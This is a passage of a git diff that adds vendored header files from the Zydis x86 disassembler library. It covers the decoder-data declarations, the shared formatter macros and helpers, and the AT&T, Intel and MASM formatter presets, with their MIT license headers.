ZYDIS_INSTR_ENC_FLAG_FORCE_REG_FORM 0x10 + +/** + * Defines the `ZydisInstructionEncodingInfo` struct. + */ +typedef struct ZydisInstructionEncodingInfo_ +{ + /** + * Contains flags with information about the physical instruction-encoding. + */ + ZydisInstructionEncodingFlags flags; + /** + * Displacement info. + */ + struct + { + /** + * The size of the displacement value. + */ + ZyanU8 size[3]; + } disp; + /** + * Immediate info. + */ + struct + { + /** + * The size of the immediate value. + */ + ZyanU8 size[3]; + /** + * Signals, if the value is signed. + */ + ZyanBool is_signed; + /** + * Signals, if the value is a relative offset. + */ + ZyanBool is_relative; + } imm[2]; +} ZydisInstructionEncodingInfo; + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ +/* Functions */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Decoder tree */ +/* ---------------------------------------------------------------------------------------------- */ + +extern const ZydisDecoderTreeNode zydis_decoder_tree_root; + +/** + * Returns the root node of the instruction tree. + * + * @return The root node of the instruction tree. + */ +ZYAN_INLINE const ZydisDecoderTreeNode* ZydisDecoderTreeGetRootNode(void) +{ + return &zydis_decoder_tree_root; +} + +/** + * Returns the child node of `parent` specified by `index`. + * + * @param parent The parent node. + * @param index The index of the child node to retrieve. + * + * @return The specified child node. + */ +ZYDIS_NO_EXPORT const ZydisDecoderTreeNode* ZydisDecoderTreeGetChildNode( + const ZydisDecoderTreeNode* parent, ZyanU16 index); + +/** + * Returns information about optional instruction parts (like modrm, displacement or + * immediates) for the instruction that is linked to the given `node`. + * + * @param node The instruction definition node. + * @param info A pointer to the `ZydisInstructionParts` struct. + */ +ZYDIS_NO_EXPORT void ZydisGetInstructionEncodingInfo(const ZydisDecoderTreeNode* node, + const ZydisInstructionEncodingInfo** info); + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif /* ZYDIS_INTERNAL_DECODERDATA_H */ diff --git a/Theodosius/Zydis/Internal/FormatterATT.h b/Theodosius/Zydis/Internal/FormatterATT.h new file mode 100644 index 0000000..08b7134 --- /dev/null +++ b/Theodosius/Zydis/Internal/FormatterATT.h @@ -0,0 +1,178 @@ +/*************************************************************************************************** + + Zyan Disassembler Library (Zydis) + + Original Author : Florian Bernd, Joel Hoener + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Implements the `AT&T` style instruction-formatter. + */ + +#ifndef ZYDIS_FORMATTER_ATT_H +#define ZYDIS_FORMATTER_ATT_H + +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Formatter functions */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Instruction */ +/* ---------------------------------------------------------------------------------------------- */ + +ZyanStatus ZydisFormatterATTFormatInstruction(const ZydisFormatter* formatter, + ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); + +/* ---------------------------------------------------------------------------------------------- */ +/* Operands */ +/* ---------------------------------------------------------------------------------------------- */ + +ZyanStatus ZydisFormatterATTFormatOperandMEM(const ZydisFormatter* formatter, + ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); + +/* ---------------------------------------------------------------------------------------------- */ +/* Elemental tokens */ +/* ---------------------------------------------------------------------------------------------- */ + +ZyanStatus ZydisFormatterATTPrintMnemonic(const ZydisFormatter* formatter, + ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); + +ZyanStatus ZydisFormatterATTPrintRegister(const ZydisFormatter* formatter, + ZydisFormatterBuffer* buffer, ZydisFormatterContext* context, ZydisRegister reg); + +ZyanStatus ZydisFormatterATTPrintDISP(const ZydisFormatter* formatter, + ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); + +ZyanStatus ZydisFormatterATTPrintIMM(const ZydisFormatter* formatter, + ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ +/* Fomatter presets */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* AT&T */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * The default formatter configuration for `AT&T` style disassembly. + */ +static const ZydisFormatter FORMATTER_ATT = +{ + /* style */ ZYDIS_FORMATTER_STYLE_ATT, + /* force_memory_size */ ZYAN_FALSE, + /* force_memory_seg */ ZYAN_FALSE, + /* force_relative_branches */ ZYAN_FALSE, + /* force_relative_riprel */ ZYAN_FALSE, + /* print_branch_size */ ZYAN_FALSE, + /* detailed_prefixes */ ZYAN_FALSE, + /* addr_base */ ZYDIS_NUMERIC_BASE_HEX, + /* addr_signedness */ ZYDIS_SIGNEDNESS_SIGNED, + /* addr_padding_absolute */ ZYDIS_PADDING_AUTO, + /* addr_padding_relative */ 2, + /* disp_base */ ZYDIS_NUMERIC_BASE_HEX, + /* disp_signedness */ ZYDIS_SIGNEDNESS_SIGNED, + /* disp_padding */ 2, + /* imm_base */ ZYDIS_NUMERIC_BASE_HEX, + /* imm_signedness */ ZYDIS_SIGNEDNESS_AUTO, + /* imm_padding */ 2, + /* case_prefixes */ ZYDIS_LETTER_CASE_DEFAULT, + /* case_mnemonic */ ZYDIS_LETTER_CASE_DEFAULT, + /* case_registers */ ZYDIS_LETTER_CASE_DEFAULT, + /* case_typecasts */ ZYDIS_LETTER_CASE_DEFAULT, + /* case_decorators */ ZYDIS_LETTER_CASE_DEFAULT, + /* hex_uppercase */ ZYAN_TRUE, + /* number_format */ + { + // ZYDIS_NUMERIC_BASE_DEC + { + // Prefix + { + /* string */ ZYAN_NULL, + /* string_data */ ZYAN_DEFINE_STRING_VIEW(""), + /* buffer */ { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, + }, + // Suffix + { + /* string */ ZYAN_NULL, + /* string_data */ ZYAN_DEFINE_STRING_VIEW(""), + /* buffer */ { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, + } + }, + // ZYDIS_NUMERIC_BASE_HEX + { + // Prefix + { + /* string */ &FORMATTER_ATT.number_format[ + ZYDIS_NUMERIC_BASE_HEX][0].string_data, + /* string_data */ ZYAN_DEFINE_STRING_VIEW("0x"), + /* buffer */ { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, + }, + // Suffix + { + /* string */ ZYAN_NULL, + /* string_data */ ZYAN_DEFINE_STRING_VIEW(""), + /* buffer */ { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, + } + } + }, + /* func_pre_instruction */ ZYAN_NULL, + /* func_post_instruction */ ZYAN_NULL, + /* func_format_instruction */ &ZydisFormatterATTFormatInstruction, + /* func_pre_operand */ ZYAN_NULL, + /* func_post_operand */ ZYAN_NULL, + /* func_format_operand_reg */ &ZydisFormatterBaseFormatOperandREG, + /* func_format_operand_mem */ &ZydisFormatterATTFormatOperandMEM, + /* func_format_operand_ptr */ &ZydisFormatterBaseFormatOperandPTR, + /* func_format_operand_imm */ &ZydisFormatterBaseFormatOperandIMM, + /* func_print_mnemonic */ &ZydisFormatterATTPrintMnemonic, + /* func_print_register */ &ZydisFormatterATTPrintRegister, + /* func_print_address_abs */ &ZydisFormatterBasePrintAddressABS, + /* func_print_address_rel */ &ZydisFormatterBasePrintAddressREL, + /* func_print_disp */ &ZydisFormatterATTPrintDISP, + /* func_print_imm */ &ZydisFormatterATTPrintIMM, + /* func_print_typecast */ ZYAN_NULL, + /* func_print_segment */ &ZydisFormatterBasePrintSegment, + /* func_print_prefixes */ &ZydisFormatterBasePrintPrefixes, + /* func_print_decorator */ &ZydisFormatterBasePrintDecorator +}; + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif // ZYDIS_FORMATTER_ATT_H diff --git a/Theodosius/Zydis/Internal/FormatterBase.h b/Theodosius/Zydis/Internal/FormatterBase.h new file mode 100644 index 0000000..0a61747 --- /dev/null +++ b/Theodosius/Zydis/Internal/FormatterBase.h @@ -0,0 +1,318 @@ +/*************************************************************************************************** + + Zyan Disassembler Library (Zydis) + + Original Author : Florian Bernd, Joel Hoener + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Provides formatter functions that are shared between the different formatters. + */ + +#ifndef ZYDIS_FORMATTER_BASE_H +#define ZYDIS_FORMATTER_BASE_H + +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Macros */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* String */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Appends an unsigned numeric value to the given string. + * + * @param formatter A pointer to the `ZydisFormatter` instance. + * @param base The numeric base. + * @param str The destination string. + * @param value The value. + * @param padding_length The padding length. + */ +#define ZYDIS_STRING_APPEND_NUM_U(formatter, base, str, value, padding_length) \ + switch (base) \ + { \ + case ZYDIS_NUMERIC_BASE_DEC: \ + ZYAN_CHECK(ZydisStringAppendDecU(str, value, padding_length, \ + (formatter)->number_format[base][0].string, \ + (formatter)->number_format[base][1].string)); \ + break; \ + case ZYDIS_NUMERIC_BASE_HEX: \ + ZYAN_CHECK(ZydisStringAppendHexU(str, value, padding_length, \ + (formatter)->hex_uppercase, \ + (formatter)->number_format[base][0].string, \ + (formatter)->number_format[base][1].string)); \ + break; \ + default: \ + return ZYAN_STATUS_INVALID_ARGUMENT; \ + } + +/** + * Appends a signed numeric value to the given string. + * + * @param formatter A pointer to the `ZydisFormatter` instance. + * @param base The numeric base. + * @param str The destination string. + * @param value The value. + * @param padding_length The padding length. + * @param force_sign Forces printing of the '+' sign for positive numbers. + */ +#define ZYDIS_STRING_APPEND_NUM_S(formatter, base, str, value, padding_length, force_sign) \ + switch (base) \ + { \ + case ZYDIS_NUMERIC_BASE_DEC: \ + ZYAN_CHECK(ZydisStringAppendDecS(str, value, padding_length, force_sign, \ + (formatter)->number_format[base][0].string, \ + (formatter)->number_format[base][1].string)); \ + break; \ + case ZYDIS_NUMERIC_BASE_HEX: \ + ZYAN_CHECK(ZydisStringAppendHexS(str, value, padding_length, \ + (formatter)->hex_uppercase, force_sign, \ + (formatter)->number_format[base][0].string, \ + (formatter)->number_format[base][1].string)); \ + break; \ + default: \ + return ZYAN_STATUS_INVALID_ARGUMENT; \ + } + +/* ---------------------------------------------------------------------------------------------- */ +/* Buffer */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Invokes the `ZydisFormatterBufferAppend` routine, if tokenization is enabled for the + * current pass. + * + * @param buffer A pointer to the `ZydisFormatterBuffer` struct. + * @param type The token type. + * + * Using this macro instead of direct calls to `ZydisFormatterBufferAppend` greatly improves the + * performance for non-tokenizing passes. + */ +#define ZYDIS_BUFFER_APPEND_TOKEN(buffer, type) \ + if ((buffer)->is_token_list) \ + { \ + ZYAN_CHECK(ZydisFormatterBufferAppend(buffer, type)); \ + } + +/** + * Returns a snapshot of the buffer-state. + * + * @param buffer A pointer to the `ZydisFormatterBuffer` struct. + * @param state Receives a snapshot of the buffer-state. + * + * Using this macro instead of direct calls to `ZydisFormatterBufferRemember` improves the + * performance for non-tokenizing passes. + */ +#define ZYDIS_BUFFER_REMEMBER(buffer, state) \ + if ((buffer)->is_token_list) \ + { \ + (state) = (ZyanUPointer)(buffer)->string.vector.data; \ + } else \ + { \ + (state) = (ZyanUPointer)(buffer)->string.vector.size; \ + } + +/** + * Appends a string (`STR_`-prefix) or a predefined token-list (`TOK_`-prefix). + * + * @param buffer A pointer to the `ZydisFormatterBuffer` struct. + * @param name The base name (without prefix) of the string- or token. + */ +#define ZYDIS_BUFFER_APPEND(buffer, name) \ + if ((buffer)->is_token_list) \ + { \ + ZYAN_CHECK(ZydisFormatterBufferAppendPredefined(buffer, TOK_ ## name)); \ + } else \ + { \ + ZYAN_CHECK(ZydisStringAppendShort(&buffer->string, &STR_ ## name)); \ + } + +// TODO: Implement `letter_case` for predefined tokens + +/** + * Appends a string (`STR_`-prefix) or a predefined token-list (`TOK_`-prefix). + * + * @param buffer A pointer to the `ZydisFormatterBuffer` struct. + * @param name The base name (without prefix) of the string- or token. + * @param letter-case The desired letter-case. + */ +#define ZYDIS_BUFFER_APPEND_CASE(buffer, name, letter_case) \ + if ((buffer)->is_token_list) \ + { \ + ZYAN_CHECK(ZydisFormatterBufferAppendPredefined(buffer, TOK_ ## name)); \ + } else \ + { \ + ZYAN_CHECK(ZydisStringAppendShortCase(&buffer->string, &STR_ ## name, letter_case)); \ + } + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ +/* Helper functions */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Buffer */ +/* ---------------------------------------------------------------------------------------------- */ + +// MSVC does not like the C99 flexible-array extension +#ifdef ZYAN_MSVC +# pragma warning(push) +# pragma warning(disable:4200) +#endif + +#pragma pack(push, 1) + +typedef struct ZydisPredefinedToken_ +{ + ZyanU8 size; + ZyanU8 next; + ZyanU8 data[]; +} ZydisPredefinedToken; + +#pragma pack(pop) + +#ifdef ZYAN_MSVC +# pragma warning(pop) +#endif + +/** + * Appends a predefined token-list to the `buffer`. + * + * @param buffer A pointer to the `ZydisFormatterBuffer` struct. + * @param data A pointer to the `ZydisPredefinedToken` struct. + * + * @return A zycore status code. + * + * This function is internally used to improve performance while adding static strings or multiple + * tokens at once. + */ +ZYAN_INLINE ZyanStatus ZydisFormatterBufferAppendPredefined(ZydisFormatterBuffer* buffer, + const ZydisPredefinedToken* data) +{ + ZYAN_ASSERT(buffer); + ZYAN_ASSERT(data); + + const ZyanUSize len = buffer->string.vector.size; + ZYAN_ASSERT((len > 0) && (len < 256)); + if (buffer->capacity <= len + data->size) + { + return ZYAN_STATUS_INSUFFICIENT_BUFFER_SIZE; + } + + ZydisFormatterToken* const last = (ZydisFormatterToken*)buffer->string.vector.data - 1; + last->next = (ZyanU8)len; + + ZYAN_MEMCPY((ZyanU8*)buffer->string.vector.data + len, &data->data[0], data->size); + + const ZyanUSize delta = len + data->next; + buffer->capacity -= delta; + buffer->string.vector.data = (ZyanU8*)buffer->string.vector.data + delta; + buffer->string.vector.size = data->size - data->next; + buffer->string.vector.capacity = ZYAN_MIN(buffer->capacity, 255); + + return ZYAN_STATUS_SUCCESS; +} + +/* ---------------------------------------------------------------------------------------------- */ +/* General */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Returns the size to be used as explicit size suffix (`AT&T`) or explicit typecast + * (`INTEL`), if required. + * + * @param formatter A pointer to the `ZydisFormatter` instance. + * @param context A pointer to the `ZydisFormatterContext` struct. + * @param memop_id The operand-id of the instructions first memory operand. + * + * @return Returns the explicit size, if required, or `0`, if not needed. + * + * This function always returns a size different to `0`, if the `ZYDIS_FORMATTER_PROP_FORCE_SIZE` + * is set to `ZYAN_TRUE`. + */ +ZyanU32 ZydisFormatterHelperGetExplicitSize(const ZydisFormatter* formatter, + ZydisFormatterContext* context, ZyanU8 memop_id); + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ +/* Formatter functions */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Operands */ +/* ---------------------------------------------------------------------------------------------- */ + +ZyanStatus ZydisFormatterBaseFormatOperandREG(const ZydisFormatter* formatter, + ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); + +ZyanStatus ZydisFormatterBaseFormatOperandPTR(const ZydisFormatter* formatter, + ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); + +ZyanStatus ZydisFormatterBaseFormatOperandIMM(const ZydisFormatter* formatter, + ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); + +/* ---------------------------------------------------------------------------------------------- */ +/* Elemental tokens */ +/* ---------------------------------------------------------------------------------------------- */ + +ZyanStatus ZydisFormatterBasePrintAddressABS(const ZydisFormatter* formatter, + ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); + +ZyanStatus ZydisFormatterBasePrintAddressREL(const ZydisFormatter* formatter, + ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); + +ZyanStatus ZydisFormatterBasePrintIMM(const ZydisFormatter* formatter, + ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); + +/* ---------------------------------------------------------------------------------------------- */ +/* Optional tokens */ +/* ---------------------------------------------------------------------------------------------- */ + +ZyanStatus ZydisFormatterBasePrintSegment(const ZydisFormatter* formatter, + ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); + +ZyanStatus ZydisFormatterBasePrintPrefixes(const ZydisFormatter* formatter, + ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); + +ZyanStatus ZydisFormatterBasePrintDecorator(const ZydisFormatter* formatter, + ZydisFormatterBuffer* buffer, ZydisFormatterContext* context, ZydisDecorator decorator); + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif // ZYDIS_FORMATTER_BASE_H diff --git a/Theodosius/Zydis/Internal/FormatterIntel.h b/Theodosius/Zydis/Internal/FormatterIntel.h new file mode 100644 index 0000000..cd12d38 --- /dev/null +++ b/Theodosius/Zydis/Internal/FormatterIntel.h @@ -0,0 +1,267 @@ +/*************************************************************************************************** + + Zyan Disassembler Library (Zydis) + + Original Author : Florian Bernd, Joel Hoener + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Implements the `INTEL` style instruction-formatter. + */ + +#ifndef ZYDIS_FORMATTER_INTEL_H +#define ZYDIS_FORMATTER_INTEL_H + +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Formatter functions */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Intel */ +/* ---------------------------------------------------------------------------------------------- */ + +ZyanStatus ZydisFormatterIntelFormatInstruction(const ZydisFormatter* formatter, + ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); + +ZyanStatus ZydisFormatterIntelFormatOperandMEM(const ZydisFormatter* formatter, + ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); + +ZyanStatus ZydisFormatterIntelPrintMnemonic(const ZydisFormatter* formatter, + ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); + +ZyanStatus ZydisFormatterIntelPrintRegister(const ZydisFormatter* formatter, + ZydisFormatterBuffer* buffer, ZydisFormatterContext* context, ZydisRegister reg); + +ZyanStatus ZydisFormatterIntelPrintDISP(const ZydisFormatter* formatter, + ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); + +ZyanStatus ZydisFormatterIntelPrintTypecast(const ZydisFormatter* formatter, + ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); + +/* ---------------------------------------------------------------------------------------------- */ +/* MASM */ +/* ---------------------------------------------------------------------------------------------- */ + +ZyanStatus ZydisFormatterIntelFormatInstructionMASM(const ZydisFormatter* formatter, + ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); + +ZyanStatus ZydisFormatterIntelPrintAddressMASM(const ZydisFormatter* formatter, + ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ +/* Fomatter presets */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* INTEL */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * The default formatter configuration for `INTEL` style disassembly. + */ +static const ZydisFormatter FORMATTER_INTEL = +{ + /* style */ ZYDIS_FORMATTER_STYLE_INTEL, + /* force_memory_size */ ZYAN_FALSE, + /* force_memory_seg */ ZYAN_FALSE, + /* force_relative_branches */ ZYAN_FALSE, + /* force_relative_riprel */ ZYAN_FALSE, + /* print_branch_size */ ZYAN_FALSE, + /* detailed_prefixes */ ZYAN_FALSE, + /* addr_base */ ZYDIS_NUMERIC_BASE_HEX, + /* addr_signedness */ ZYDIS_SIGNEDNESS_SIGNED, + /* addr_padding_absolute */ ZYDIS_PADDING_AUTO, + /* addr_padding_relative */ 2, + /* disp_base */ ZYDIS_NUMERIC_BASE_HEX, + /* disp_signedness */ ZYDIS_SIGNEDNESS_SIGNED, + /* disp_padding */ 2, + /* imm_base */ ZYDIS_NUMERIC_BASE_HEX, + /* imm_signedness */ ZYDIS_SIGNEDNESS_UNSIGNED, + /* imm_padding */ 2, + /* case_prefixes */ ZYDIS_LETTER_CASE_DEFAULT, + /* case_mnemonic */ ZYDIS_LETTER_CASE_DEFAULT, + /* case_registers */ ZYDIS_LETTER_CASE_DEFAULT, + /* case_typecasts */ ZYDIS_LETTER_CASE_DEFAULT, + /* case_decorators */ ZYDIS_LETTER_CASE_DEFAULT, + /* hex_uppercase */ ZYAN_TRUE, + /* number_format */ + { + // ZYDIS_NUMERIC_BASE_DEC + { + // Prefix + { + /* string */ ZYAN_NULL, + /* string_data */ ZYAN_DEFINE_STRING_VIEW(""), + /* buffer */ { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, + }, + // Suffix + { + /* string */ ZYAN_NULL, + /* string_data */ ZYAN_DEFINE_STRING_VIEW(""), + /* buffer */ { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, + } + }, + // ZYDIS_NUMERIC_BASE_HEX + { + // Prefix + { + /* string */ &FORMATTER_INTEL.number_format[ + ZYDIS_NUMERIC_BASE_HEX][0].string_data, + /* string_data */ ZYAN_DEFINE_STRING_VIEW("0x"), + /* buffer */ { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, + }, + // Suffix + { + /* string */ ZYAN_NULL, + /* string_data */ ZYAN_DEFINE_STRING_VIEW(""), + /* buffer */ { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, + } + } + }, + /* func_pre_instruction */ ZYAN_NULL, + /* func_post_instruction */ ZYAN_NULL, + /* func_format_instruction */ &ZydisFormatterIntelFormatInstruction, + /* func_pre_operand */ ZYAN_NULL, + /* func_post_operand */ ZYAN_NULL, + /* func_format_operand_reg */ &ZydisFormatterBaseFormatOperandREG, + /* func_format_operand_mem */ &ZydisFormatterIntelFormatOperandMEM, + /* func_format_operand_ptr */ &ZydisFormatterBaseFormatOperandPTR, + /* func_format_operand_imm */ &ZydisFormatterBaseFormatOperandIMM, + /* func_print_mnemonic */ &ZydisFormatterIntelPrintMnemonic, + /* func_print_register */ &ZydisFormatterIntelPrintRegister, + /* func_print_address_abs */ &ZydisFormatterBasePrintAddressABS, + /* func_print_address_rel */ &ZydisFormatterBasePrintAddressREL, + /* func_print_disp */ &ZydisFormatterIntelPrintDISP, + /* func_print_imm */ &ZydisFormatterBasePrintIMM, + /* func_print_typecast */ &ZydisFormatterIntelPrintTypecast, + /* func_print_segment */ &ZydisFormatterBasePrintSegment, + /* func_print_prefixes */ &ZydisFormatterBasePrintPrefixes, + /* func_print_decorator */ &ZydisFormatterBasePrintDecorator +}; + +/* ---------------------------------------------------------------------------------------------- */ +/* MASM */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * The default formatter configuration for `MASM` style disassembly. + */ +static const ZydisFormatter FORMATTER_INTEL_MASM = +{ + /* style */ ZYDIS_FORMATTER_STYLE_INTEL_MASM, + /* force_memory_size */ ZYAN_TRUE, + /* force_memory_seg */ ZYAN_FALSE, + /* force_relative_branches */ ZYAN_FALSE, + /* force_relative_riprel */ ZYAN_FALSE, + /* print_branch_size */ ZYAN_FALSE, + /* detailed_prefixes */ ZYAN_FALSE, + /* addr_base */ ZYDIS_NUMERIC_BASE_HEX, + /* addr_signedness */ ZYDIS_SIGNEDNESS_SIGNED, + /* addr_padding_absolute */ ZYDIS_PADDING_DISABLED, + /* addr_padding_relative */ ZYDIS_PADDING_DISABLED, + /* disp_base */ ZYDIS_NUMERIC_BASE_HEX, + /* disp_signedness */ ZYDIS_SIGNEDNESS_SIGNED, + /* disp_padding */ ZYDIS_PADDING_DISABLED, + /* imm_base */ ZYDIS_NUMERIC_BASE_HEX, + /* imm_signedness */ ZYDIS_SIGNEDNESS_AUTO, + /* imm_padding */ ZYDIS_PADDING_DISABLED, + /* case_prefixes */ ZYDIS_LETTER_CASE_DEFAULT, + /* case_mnemonic */ ZYDIS_LETTER_CASE_DEFAULT, + /* case_registers */ ZYDIS_LETTER_CASE_DEFAULT, + /* case_typecasts */ ZYDIS_LETTER_CASE_DEFAULT, + /* case_decorators */ ZYDIS_LETTER_CASE_DEFAULT, + /* hex_uppercase */ ZYAN_TRUE, + /* number_format */ + { + // ZYDIS_NUMERIC_BASE_DEC + { + // Prefix + { + /* string */ ZYAN_NULL, + /* string_data */ ZYAN_DEFINE_STRING_VIEW(""), + /* buffer */ { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, + }, + // Suffix + { + /* string */ ZYAN_NULL, + /* string_data */ ZYAN_DEFINE_STRING_VIEW(""), + /* buffer */ { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, + } + }, + // ZYDIS_NUMERIC_BASE_HEX + { + // Prefix + { + /* string */ ZYAN_NULL, + /* string_data */ ZYAN_DEFINE_STRING_VIEW(""), + /* buffer */ { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, + }, + // Suffix + { + /* string */ &FORMATTER_INTEL_MASM.number_format[ + ZYDIS_NUMERIC_BASE_HEX][1].string_data, + /* string_data */ ZYAN_DEFINE_STRING_VIEW("h"), + /* buffer */ { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, + } + } + }, + /* func_pre_instruction */ ZYAN_NULL, + /* func_post_instruction */ ZYAN_NULL, + /* func_format_instruction */ &ZydisFormatterIntelFormatInstructionMASM, + /* func_pre_operand */ ZYAN_NULL, + /* func_post_operand */ ZYAN_NULL, + /* func_format_operand_reg */ &ZydisFormatterBaseFormatOperandREG, + /* func_format_operand_mem */ &ZydisFormatterIntelFormatOperandMEM, + /* func_format_operand_ptr */ &ZydisFormatterBaseFormatOperandPTR, + /* func_format_operand_imm */ &ZydisFormatterBaseFormatOperandIMM, + /* func_print_mnemonic */ &ZydisFormatterIntelPrintMnemonic, + /* func_print_register */ &ZydisFormatterIntelPrintRegister, + /* func_print_address_abs */ &ZydisFormatterIntelPrintAddressMASM, + /* func_print_address_rel */ &ZydisFormatterIntelPrintAddressMASM, + /* func_print_disp */ &ZydisFormatterIntelPrintDISP, + /* func_print_imm */ &ZydisFormatterBasePrintIMM, + /* func_print_typecast */ &ZydisFormatterIntelPrintTypecast, + /* func_print_segment */ &ZydisFormatterBasePrintSegment, + /* func_print_prefixes */ &ZydisFormatterBasePrintPrefixes, + /* func_print_decorator */ &ZydisFormatterBasePrintDecorator +}; + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif // ZYDIS_FORMATTER_INTEL_H diff --git a/Theodosius/Zydis/Internal/SharedData.h b/Theodosius/Zydis/Internal/SharedData.h new file mode 100644 index 